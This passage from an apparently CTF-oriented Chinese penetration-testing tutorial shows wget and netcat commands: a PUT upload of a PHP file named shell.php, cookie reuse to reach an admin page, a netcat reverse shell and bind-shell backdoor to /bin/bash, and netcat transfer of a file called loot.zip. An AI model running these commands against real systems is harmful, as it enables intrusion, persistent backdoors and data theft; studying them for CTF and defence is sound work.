4. 更改 HTTP 请求方法 (--method) (注意:此参数在较新版本的 wget 1.14+ 中可用)

如果题目要求必须使用 PUTDELETEOPTIONS 方法,wget 也能胜任。

1
2
# 发送 PUT 请求尝试上传文件
wget --method=PUT --body-data="<?php phpinfo(); ?>" http://target.com/uploads/shell.php

5.wget 的 Cookie 管理
同样地,wget 也可以处理会话:

1
2
3
4
5
6
# 携带已知 Cookie 请求
wget --header="Cookie: session_id=admin" http://target.com/admin

# 保存与加载 Cookie 文件 (类似 curl 的 -c 和 -b)
wget --save-cookies cookies.txt --post-data="user=admin" http://target.com/login
wget --load-cookies cookies.txt http://target.com/admin

12.3 nc (Netcat)

如果在目标系统上发现了 nc,那渗透工作将变得极其轻松。它可以读写 TCP/UDP 连接、监听端口、甚至直接作为后门。
实战场景:正向/反向 Shell

1
2
3
4
5
6
7
8
# 攻击机监听 (等待目标连接):
nc -lvvp 4444

# 目标机反弹 Shell 给攻击机 (反向 Shell):
nc -e /bin/bash 10.0.0.1 4444

# 目标机开放 4444 端口提供 Shell (正向 Shell / 留后门):
nc -lvvp 4444 -e /bin/bash

实战场景:极简文件传输
如果两台机器之间无法使用 SSH、FTP 等服务,可以用 nc 临时传文件:

1
2
3
4
5
# 接收端监听并写入文件:
nc -lvvp 8888 > loot.zip

# 发送端读取文件并发送:
nc 目标IP 8888 < loot.zip